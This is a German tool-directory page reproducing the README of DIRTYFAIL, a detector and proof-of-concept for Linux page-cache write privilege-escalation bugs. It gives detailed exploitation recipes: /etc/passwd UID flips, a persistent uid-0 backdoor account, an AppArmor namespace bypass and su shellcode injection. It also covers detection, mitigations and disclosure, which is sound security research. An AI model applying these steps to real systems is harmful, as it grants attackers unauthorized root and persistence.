Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DIRTYFAIL — Detector + PoC für Linux-Page-Cache-Write-Sicherheitslücken: Copy Fail (CVE-2026-31431) und Dirty Frag (CVE-2026-43284/43500). Nur für autorisierte Sicherheitsforschung. | Kitploit
Tools/GitHubGitHub/karazajac/dirtyfail
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsPapers & ForschungLernen & BildungRed TeamingContainer-AusbruchBinary-ExploitationLabs & Praxis
GitHubkarazajac/dirtyfail

DIRTYFAIL

2612vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Detector + PoC für Linux-Page-Cache-Write-Sicherheitslücken: Copy Fail (CVE-2026-31431) und Dirty Frag (CVE-2026-43284/43500). Nur für autorisierte Sicherheitsforschung.

Repository anzeigen

DIRTYFAIL

Ein vereinter Detektor und PoC-Harnisch für die Copy Fail und Dirty Frag Linux-Page-Cache-Schreibschwachstellenfamilien.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL ist ein kleines, gut dokumentiertes C-Werkzeug für Sicherheitsforscher.
Es erkennt, ob ein Linux-Host anfällig für die drei CVEs dieser Familie ist,
und führt — mit expliziter, getippter Bestätigung — einen echten
Proof-of-Concept aus, der den Aufrufer auf einem anfälligen System in eine Root-Shell bringt.

| CVE / Variante | Name | DIRTYFAIL-Abdeckung |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` page-cache write) | Erkennung + vollständiger PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP page-cache write          | Erkennung + vollständiger PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP page-cache write (`esp6`) | Erkennung + vollständiger PoC |
| **CVE-2026-43500**    | Dirty Frag — RxRPC page-cache write                  | Erkennung + vollständiger PoC |
| Copy Fail GCM variant | xfrm-ESP `rfc4106(gcm(aes))` page-cache write        | Erkennung + vollständiger PoC |

**Bonus-Modi:**

- **`--scan --active`** — sentinel-STORE aktive Sonden. Standardmäßig meldet `--scan`
  die Vorbedingungen pro CVE (Kernel, Module, LSM-Status) sowie eine aktive Sonde
  der Copy-Fail-Primitive. Durch Hinzufügen von `--active` wird die
  Sentineldaten-STORE-Sonde auf alle vier anderen Primitive (ESP v4,
  ESP v6, RxRPC, GCM) erweitert: jede feuert den Kernel-Trigger gegen eine `/tmp`-Sentinel
  und meldet VULNERABLE nur, wenn die Markierungsbytes tatsächlich landen.
  Dies ist die einzige Möglichkeit, einen zurückportierten, gepatchten Kernel
  (Vorbedingungen sagen anfällig, aber Sonde sagt intakt) von einem
  ungepatchten zu unterscheiden, ohne den vollständigen Exploit auszuführen. `/etc/passwd` wird
  nie berührt. Kalibriert den V6-STORE-Shift automatisch pro Kernel-Build.
- **`--exploit-backdoor`** — persistenter uid-0-Hintertür: längenangepasstes
  Überschreiben einer `nologin`/`false`/`sync`-Zeile in `/etc/passwd` mit
  `dirtyfail::0:0:<pad>:/:/bin/bash`. Überlebt Shell-Exit, bis die Seite
  ausgelagert wird. Zustand wird in `/var/tmp/.dirtyfail.state` für
  `--cleanup-backdoor` gespeichert. Der Benutzername `dirtyfail` ist bewusst auf
  dieses Projekt abgestimmt, sodass er in jedem Audit sofort identifizierbar ist —
  ändern Sie `NEW_USER` in `src/backdoor.c`, falls Sie für einen autorisierten
  Red-Team-Einsatz einen anderen Bezeichner benötigen.
- **AppArmor-Bypass** — besiegt Ubuntus
  `apparmor_restrict_unprivileged_userns=1`-Richtlinie über einen einstufigen
  `change_onexec("crun")`-Neuaufruf in ein uneingeschränktes Profil, das
  userns-Fähigkeiten behält. Jeder Exploit-Modus behandelt dies
  intern über einen Fork: Elternprozess bleibt im Init-Namespace, Kindprozess
  führt den Bypass-Tanz aus, Elternprozess liest den globalen Page-Cache und führt `su` für
  echte Init-Ns-Root aus. Das Legacy-Flag `--aa-bypass` existiert noch für das
  Debuggen der Bypass-Mechanik in Isolation. Siehe [§8.5 Architektur](#85-architecture-outerinner-fork-based-bypass).

## Verifiziert auf folgenden Systemen

DIRTYFAIL wurde **empirisch Ende-zu-Ende validiert** auf mehreren
Distributionen und Kernel-Versionen. Die Matrix unten zeigt pro Modus die
Testergebnisse aus der Ausführung jedes `--exploit-*`-Modus gegen eine Neuinstallation
jeder Distribution.

| Distribution | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU-Shellcode |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (nicht getestet) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (gehärtet) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Legende:** ✅ Exploit landete und erzeugte echte init-ns root  · 🛡 gemildert — Exploit kann Kernel-Fehler nicht erreichen (Kernel gepatcht ODER LSM blockiert unprivilegierten Pfad)  · ⏭ nicht zutreffend (Vorbedingung fehlt)

### Validierung der aktiven Sonden (`--scan --active`)

Das Flag `--active` fügt während der Erkennung eine Sentineldaten-STORE-Sonde pro CVE
hinzu. Wir haben die Sondenergebnisse gegen dieselben 4 Distributionen oben validiert
(Debian, Fedora, AlmaLinux, Ubuntu 26.04) — die Matrix unten zeigt
das Sondenurteil pro Modus und stimmt mit der Ground-Truth des vollständigen Exploits eins-zu-eins überein:

| Distribution | Copy-Fail-Sonde | ESP-v4-Sonde | ESP-v6-Sonde | RxRPC-Sonde | GCM-Sonde |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intakt 🛡 | intakt 🛡 | intakt 🛡 | intakt 🛡 | intakt 🛡 |
| Fedora 44   | Marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | Byte-Änderung ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | Marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | Vorbedingungen ⏭ | Sentinel geändert ✅ |
| Ubuntu 26.04 | intakt 🛡 | LSM-blockiert 🛡 | LSM-blockiert 🛡 | LSM-blockiert 🛡 | LSM-blockiert 🛡 |

Der STORE-Landeoffset der V6-Sonde (8 auf Fedora und Alma) entspricht dem empirischen
`V6_STORE_SHIFT`, das `calibrate_v6_shift()` zur Laufzeit ermittelt — was bestätigt,
dass die automatische Kalibrierung die zuvor hartcodierte Konstante korrekt über
Kernel-Builds hinweg ersetzt.

¹ GCM und Backdoor erfordern, dass `algif_aead` ladbar ist. Ubuntu 24.04
liefert `/etc/modprobe.d/disable-algif_aead.conf` mit, das es als
Copy-Fail-Mitigation blacklistet. Wenn die Blacklist entfernt wird (z. B. auf einem
Kernel, der vor der Mitigation liegt), funktionieren beide Modi Ende-zu-Ende.

² Der algif_aead-Pfad von Copy Fail wird durch die modprobe-Blacklist gemildert;
die zugrunde liegende CVE-Primitive im Kernel ist dieselbe, ob `authencesn`
erreichbar ist oder nicht. xfrm-ESP, RxRPC und die GCM-Variante landen alle
auf demselben Kernel, da sie nicht über algif_aead gehen.

³ Das Paket `kernel-modules-extra` von AlmaLinux 10 wird bei einer
Minimalinstallation nicht standardmäßig installiert, daher fehlt `rxrpc.ko`
auf der Festplatte. Die Installation von `kernel-modules-extra-$(uname -r)` aus
EPEL oder dem AlmaLinux-Extras-Repo bringt das Modul zurück; bei einer reinen
Minimalinstallation ist RxRPC nicht erreichbar.

⁴ **Ubuntu 26.04 LTS blockiert umfassend die unprivilegierte Ausnutzung.**
Der ausgelieferte Kernel `7.0.0-15.15` (veröffentlicht am 22.04.2026)
**stammt aus der Zeit vor dem Hauptlinien-Patch `f4c50a4034e6` (zusammengeführt am
07.05.2026) um ~2 Wochen** — der Fehler ist also noch im Kernel vorhanden. Ubuntus
Verteidigung ist **Verteidigung in der Tiefe durch AppArmor-Härtung**, nicht ein
Kernel-Patch:

- `apparmor_restrict_unprivileged_userns=1` ist standardmäßig aktiviert.
- Bei `unshare(CLONE_NEWUSER)` wechselt die Kernel-Level-AppArmor-Durchsetzung
  automatisch JEGLICHES Profil (einschließlich solcher mit `(unconfined)`-Flag
  wie `crun`, `chrome`, Standard `unconfined`) in ein
  `<profile>//&unprivileged_userns (mixed)`-Subprofil mit
  `audit deny capability`. uid 0 im neuen userns erhält keine Caps.
- `change_onexec` auf ein anderes Profil hilft nicht — selbst das
  `crun`-Profil (das explizite `userns,`-Berechtigung und
  `flags=(unconfined)` hat) wechselt bei unshare automatisch. Verifiziert über
  `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) schreibt erfolgreich uid_map,
  aber `setresuid(0)` gelingt dann, während `ioctl(SIOCSIFFLAGS)` und
  jeder andere CAP_NET_ADMIN-geschützte Syscall EPERM zurückgibt, da die
  Capability-Verweigerung pro Namespace und nicht pro uid erfolgt.

Das DIRTYFAIL-Binary armiert korrekt seinen Bypass und erreicht Stufe 2,
kann aber CAP_NET_ADMIN im neuen userns nicht erlangen. Die Exploit-Infrastruktur
wird auf LSM-Ebene blockiert, unabhängig von der Bypass-Technik. Wir haben
`change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p <profile>` und direktes
`unshare(USER|NET) + newuidmap` getestet — alle erzeugen dasselbe
`unprivileged_userns`-Subprofil.

**Dies ist gute Sicherheitsarbeit von Canonical.** Der Fehlertyp wird für
unprivilegierte Benutzer gemildert, ohne dass ein Kernel-Neubau erforderlich ist.
Ein späteres stabiles Update wird wahrscheinlich auch den Kernel-Patch ordnungsgemäß
bringen, um die Verteidigung abzuschließen.

⁵ **`--exploit-su` Shellcode-Injektion** hängt von derselben Copy-Fail-algif_aead-
4-Byte-Primitive (`cf_4byte_write`) ab. Auf Kerneln, auf denen Copy Fail gepatcht ist
(Debian 13.4) oder LSM-blockiert (Ubuntu 26.04 — aber der algif_aead-Pfad war in
7.0.0-15 ebenfalls gepatcht), läuft die Pflanzen durch, aber der Verifizierungsschritt
schlägt fehl („page cache does not match planted shellcode") und die automatische
Rückgängigmachung stellt `/usr/bin/su` wieder her. Ende-zu-Ende getestet auf
AlmaLinux 10.1 (Einstiegspunkt bei Dateioffset `0x45b0`) und Fedora 44
(Offset `0x1b60`); der ELF-Parser behandelt die PIE-Basis jeder Distribution
unabhängig. Root-Nachweis auf Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Test-Reproduzierbarkeit:

- Wir haben jede Distribution von einer sauberen ISO neu installiert, SSH-Schlüssel-Authentifizierung + NOPASSWD-Sudo eingerichtet, DIRTYFAIL auf jeder geklont und gebaut, einen `clean-build`-Parallels-Snapshot erstellt und dann alle 5 Exploit-Modi mit `--no-shell` ausgeführt (automatische Rückgängigmachung über fadvise + drop_caches).
- Empirische Ergebniszeilen werden aus dem Parsen der tatsächlichen `--exploit-*`-Ausgabe abgeleitet, wobei nach den Erfolgssignalen gesucht wird: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (Backdoor) oder einem der Fehlermuster (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`).
- Für die RxRPC- und Backdoor-„echte Root" -Verifizierung haben wir `echo "" | su - root` / `echo "" | su - dirtyfail` ausgeführt und `uid=0(root)` sowie erfolgreiches Lesen von `/etc/shadow` bestätigt.

> **Nur autorisierte Tests.** Verwenden Sie DIRTYFAIL nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich mit der Bewertung beauftragt wurden. Die Exploit-Modi beschädigen `/etc/passwd` *im Kernel-Page-Cache* (die Datei auf der Festplatte wird nie berührt). Bereinigung erfolgt mit `dirtyfail --cleanup` oder `echo 3 > /proc/sys/vm/drop_caches`.

---

## Inhaltsverzeichnis

1. [Die Fehlerklasse](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Architekturübersicht](#45-architecture-overview)
5. [Build](#5-build)
6. [Nutzung](#6-usage)
7. [Wie DIRTYFAIL jede CVE erkennt](#7-how-dirtyfail-detects-each-cve)
8. [Wie DIRTYFAIL jede CVE ausnutzt](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Architektur: äußerer/innerer fork-basierter Bypass](#85-architecture-outerinner-fork-based-bypass)
9. [Mitigations](#9-mitigations)
10. [Ethik & Offenlegung](#10-ethics--disclosure)
11. [Credits](#11-credits)

**Begleitdokumente:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — Sysadmin-Playbook: Bin ich verwundbar, wie mitigieren, was überwachen.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — Kernel-Quellcode-Audit benachbarter Pfade (AH, IPCOMP, MACsec, kTLS, usw.) für dieselbe Fehlerklasse.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — eigenständiger Bash-Detektor für Sysadmins (keine Kompilierung erforderlich).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — fertig geladene auditd-Regeln für die Exploit-Kette.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — Namespace-übergreifende Blastradius-Demo.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — aarch64 (ARM64) Shellcode-Quelle für `--exploit-su`. Hardware-nicht getestet; wird hinter `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` geliefert. Generieren Sie die entsprechenden Bytes in `src/exploit_su.c` mit `aarch64-linux-gnu-as` neu, um zu überprüfen.

---

## 1. Die Fehlerklasse

**Page-Cache-Schreib-** Schwachstellen erlauben einem unprivilegierten Benutzer, die In-Memory-Kopie einer Datei im Kernel zu modifizieren, auf die er nur Lesezugriff hat. Die Datei auf der Festplatte wird nie geschrieben; die Änderung bleibt im RAM bestehen, bis die Seite ausgelagert wird (`drop_caches`, Speicherdruck oder Neustart).

Diese Klasse begann mit **Dirty Pipe** (CVE-2022-0847), das `pipe_buffer`-Flags missbrauchte. Copy Fail und Dirty Frag sind Nachfolger, die stattdessen auf das `frag`-Mitglied von `struct sk_buff` abzielen. Der Mechanismus ist immer derselbe:

1. Userspace `splice()`t eine Page-Cache-Seite aus einer lesbaren Datei (z. B. `/etc/passwd`, `/usr/bin/su`) in den frag eines Kernel-Puffers.
2. Ein Empfangspfad führt **In-Place**-Krypto auf diesem Puffer aus — dieselben Seiten sind sowohl Quelle als auch Ziel der Operation.
3. Die Krypto-Routine führt einen „Scratch"-STORE außerhalb des Datenbereichs durch (eine Sequenznummer-Neuanordnung, eine Einzelblock-Entschlüsselung usw.), der in der vom Benutzer gepinnten Seite landet.
4. Die Page-Cache-Kopie der Datei ist nun für jeden Leser auf dem Host dauerhaft geändert, bis die Seite ausgelagert wird.

Da es sich bei dem Fehler um einen **deterministischen Logikfehler** handelt und nicht um einen Wettlauf, liegen die Erfolgsraten im Wesentlichen bei 100%, und der Kernel stürzt bei einem Fehler nicht ab.

---

## 2. CVE-2026-31431 — Copy Fail

* Offenlegung: **2026-04-29**
* Site: <https://copy.fail/>
* Original PoC (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* Original PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Eingeführt durch Commit:  `72548b093ee3` (2017)
* Behoben durch Commit:       `a664bf3d` (Hauptlinie 6.12 / 6.17 / 6.18 stabil)
* Bestätigt betroffen:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Ursache

Das Kernel-Modul `algif_aead` stellt die AEAD-Krypto-API über `AF_ALG` für den Userspace bereit. Die Vorlage `authencesn(hmac(sha256), cbc(aes))` implementiert RFC-4303 ESN (Extended Sequence Numbers); ein Teil seines Entschlüsselungspfads führt einen **4-Byte-Scratch-Schreibvorgang** durch, um die Sequenznummer neu anzuordnen:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

Der STORE bei ★ ist bei einem normalen IPsec-Paket harmlos – er landet innerhalb des skb-Tag-Bereichs, der dem Kernel gehört. Die Crypto-Template geht davon aus, dass src und dst auf Kernel-Speicher zeigen.

algif_aead verletzt diese Annahme. Es akzeptiert splice() aus dem Userspace, was Page-Cache-Seiten in die Scatterlist der Anfrage einbringt. Da das AEAD in-place ausgeführt wird (req->dst = req->src), liegt die Page-Cache-Seite nun an der Offsetposition der Ziel-Scatterlist, auf die der Scratch-Write abzielt.

Die 4 Bytes, die geschrieben werden, sind die Bytes 4..7 des AAD, das der Userspace gesendet hat – das "seqno_lo"-Feld eines ESP-Headers, das der Angreifer mit beliebigen Inhalten füllen kann.

Netz-Primitiv: 4-Byte-Schreibzugriff mit beliebigem Offset in den Page-Cache einer beliebigen Datei, die der Angreifer mit open(O_RDONLY) öffnen kann.

Ausnutzung

Die einfachste Waffenisierung erfolgt in /etc/passwd. Eine normale Benutzerzeile sieht so aus:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
Flipping `1000` (das UID-Feld, genau 4 ASCII-Bytes für jede UID
1000–9999) auf `0000` bewirkt, dass glibc's `getpwnam()` für
diesen Benutzer uid=0 meldet. PAM authentifiziert jedoch weiterhin
gegen die on-disk `/etc/shadow` (die unberührt bleibt), also fragt
`su <user>` nach dem echten Passwort, validiert es, ruft dann
`setuid(0)` auf — und landet als root, weil die Page-Cache-Kopie
von `/etc/passwd` besagt, dass wir root sind.

Die Integrität von `/etc/shadow` bleibt erhalten. On-disk `/etc/passwd` ist
erhalten. Nur die RAM-Kopie des Kernels von `/etc/passwd` ist beschädigt,
und nur bis `drop_caches` oder einem Neustart.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Offenlegung: **2026-04-30 → 2026-05-08**
* Original PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Forscher: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Eingeführt durch Commit: `cac2661c53f3` (2017-01-17)
* Behoben durch Commit:      `f4c50a4034e6` (mainline net.git, gemergt 2026-05-07)
* Bestätigt betroffen:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Ursache

`esp_input()` soll `skb_cow_data()` vor der In-Place-AEAD-Entschlüsselung
aufrufen, wenn ein skb nicht-linear ist (d.h. Fragmente hat). Der Codepfad
hat eine Abkürzung:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Wenn das skb frags hat, aber keine frag_list, umgeht esp_input skb_cow_data und übergibt das vom Benutzer bereitgestellte frag direkt an die AEAD-Vorlage. Der gleiche authencesn(...)-Scratch-Schreibvorgang, der Copy Fail antreibt, landet dann am Dateioffset (assoclen + cryptlen) der gespleißten Seite.

Die 4 STOREd Bytes sind seq_hi aus dem replay_esn-Status der SA — vom Angreifer zum Zeitpunkt der SA-Registrierung über das Netlink-Attribut XFRMA_REPLAY_ESN_VAL kontrolliert.

Kosten: Die Registrierung einer XFRM-SA erfordert CAP_NET_ADMIN, also tritt der Angreifer zuerst über unshare(CLONE_NEWUSER) in einen neuen Benutzernamespace ein. Dies ist auf den meisten Distributionen standardmäßig erlaubt (Ubuntus gehärtetes Profil ist die bemerkenswerte Ausnahme).

Entscheidend ist, dass dieser Primitive selbst dann funktioniert, wenn die algif_aead-Copy-Fail-Abmilderung aktiv ist — der xfrm-Pfad geht nicht durch algif_aead. Ein Verteidiger, der nur algif_aead auf eine schwarze Liste gesetzt hat, ist immer noch anfällig für Dirty Frag.

Ausnutzung

V4bels veröffentlichter PoC schreibt ein 192-Byte statisches "root-shell"-ELF über die ersten 192 Bytes des Page-Caches von /usr/bin/su unter Verwendung von 48 aufeinanderfolgenden 4-Byte STOREs. Nach der Modifikation führt execve("/usr/bin/su") den neuen ELF-Einstiegspunkt mit intaktem setuid-root-Bit aus, verwirft PAM vollständig und führt execve("/bin/sh") aus dem Shellcode aus.

DIRTYFAIL wählt den einfacheren /etc/passwd-UID-Flip-Ansatz (ein 4-Byte STORE — dasselbe Ziel wie Copy Fail) aus zwei Gründen:

  1. Es ist eine Einzelschreib-Primitiv-Demonstration, die leichter zu untersuchen ist.
  2. Es ist vollständig umkehrbar mit POSIX_FADV_DONTNEED und hinterlässt /usr/bin/su nicht in einem korrupten Zustand für andere Benutzer auf dem System.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • Offenlegung: 2026-04-29 → 2026-05-08
  • Patch: in keinem Baum ab 2026-05-08; Forscher-Patch ausstehend: lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Forscher: Hyunwoo Kim (@v4bel)
  • Eingeführt durch Commit: 2dc334f1a63a (2023-06)

Grundursache

rxkad_verify_packet_1() führt eine in-place pcbc(fcrypt)-Einzelblockentschlüsselung der ersten 8 Bytes eines RxRPC-Datenpakets durch:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
Wenn eine Page-Cache-Seite in das skb-frag gespleißt wurde, wird die 8-Byte-Entschlüsselung darüber durchgeführt.

**Unterschied zu xfrm-ESP**: Die 8 Bytes, die gespeichert (STOREd) werden, sind `fcrypt_decrypt(C, K)`, wobei `C` der vorhandene Chiffretext an diesem Datei-Offset ist und `K` der Sitzungsschlüssel aus einem RxRPC-v1-Token, den der Angreifer über `add_key("rxrpc", ...)` registriert hat. Der Angreifer kontrolliert den STORE-Wert nicht direkt — er muss `K` brute-forcen, bis `fcrypt_decrypt(C, K)` den gewünschten Klartext erzeugt.

`fcrypt` ist eine Andrew-Dateisystem-Chiffre mit einem **56-Bit-Schlüssel** und einem 8-Byte-Block. Sie ist deterministisch; sie lässt sich sauber in den Benutzerbereich portieren; und ihr Schlüsselraum ist klein genug, dass ein eingeschränktes 8-Byte-Ziel in Millisekunden bis Sekunden brute-forced werden kann, abhängig vom Einschränkungsbudget.

**Entscheidend ist, dass dieser Pfad KEINE Namespace-Privilegien benötigt** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` sind alle für jeden unprivilegierten Benutzer verfügbar. RxRPC schließt die Lücke im gehärteten userns-Profil von Ubuntu (wo xfrm-ESP blockiert ist), weil `rxrpc.ko` im standardmäßigen Ubuntu-Build enthalten ist.

### Exploitation

Der vollständige Exploit:

1. Brute-force `K_A`, `K_B`, `K_C` im Benutzerbereich, sodass die drei STOREs an den `/etc/passwd`-Offsets 4, 6, 8 jeweils `"::"`, `"0:"`, `"0:GGGGGG:"` erzeugen (last-write-wins).
2. Für jedes `K_i` ein RxRPC-v1-Token mit `add_key` registrieren, einen gefälschten AF_RXRPC-Handshake gegen einen gefälschten UDP-Server im selben Prozess durchführen und `rxkad_verify_packet_1` über splice auslösen.
3. Die Page-Cache-Kopie von `/etc/passwd` Zeile 1 ist jetzt `root::0:0:GGGGGG:/root:/bin/bash` — ein leeres Passwortfeld.
4. PAM mit `pam_unix.so nullok` akzeptiert das leere Passwort; `su -` öffnet eine Root-Shell.

### DIRTYFAIL-Abdeckung

DIRTYFAIL enthält **sowohl** Erkennung als auch einen vollständigen PoC für diese CVE.

Die DIRTYFAIL-Implementierung befindet sich in `src/dirtyfrag_rxrpc.c` und `src/fcrypt.c`:

- **fcrypt-Chiffre** (`fcrypt.c`): 56-Bit-Schlüssel, 8-Byte-Block, 16-Runden-Feistel; Standard-rxkad-Protokoll-S-Boxen. Enthält ein Single-Core-Brute-Force-Harness (~18 Mops/s), das den Schlüsselraum durchsucht, bis ein Kandidaten-Klartext ein vom Aufrufer bereitgestelltes Prädikat erfüllt.
- **rxkad-Prüfsumme** (`compute_csum_iv`, `compute_cksum`): Kernel-Formel, die über AF_ALG `pcbc(fcrypt)` reproduziert wird, sodass die Wire-Cksum in unserem gefälschten DATA-Paket das Gate von `rxkad_verify_packet` passiert.
- **RxRPC-v1-Token-Erstellung** (`build_rxrpc_v1_token`): XDR-codiertes rxkad-Token, das über `add_key("rxrpc", ...)` mit unserem brute-forced Sitzungsschlüssel registriert wird.
- **AF_RXRPC-Client + UDP-Fake-Server**: Der Client initiiert einen Call, der Fake-Server extrahiert (epoch, cid, callNumber) aus dem ersten Paket und sendet eine gefälschte CHALLENGE, sodass der Client `conn->rxkad.cipher` mit unserem Schlüssel initialisiert.
- **Splice-Trigger** (`do_one_trigger`): vmsplice gefälschten DATA-Wire-Header → splice 8 Bytes aus `/etc/passwd` → splice pipe → udp_srv → recvmsg treibt Kernel durch `rxkad_verify_packet_1` → 8-Byte-STORE.
- **3-Splice-Kette mit Korrektur des verketteten Chiffretexts**: Brute force von K_A / K_B / K_C, Anwendung der Verschiebung des verketteten Chiffretexts zwischen den Durchläufen (nachdem splice A Bytes 4..11 überschreibt, beginnt splice B’s Chiffretext bei 6..13 mit `P_A[2..7]`; gleiches für C gegen B).

Das finale PoC formt `/etc/passwd` Zeile 1 um zu:```
root::0:0:GGGGG:/root:/bin/bash

— leeres Passwortfeld — und execlp("su", "-") erzeugt dann eine Root-Shell, da pam_unix.so nullok ein leeres Passwort akzeptiert.

Zum Vergleich und zur Verifikation gegen den upstream PoC siehe V4bels exp.c: https://github.com/V4bel/dirtyfrag.


4.5 Architekturübersicht

DIRTYFAIL ist eine einzelne C-Binärdatei, die aus ~10 Quellmodulen erstellt wurde. Die übergeordnete Struktur:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 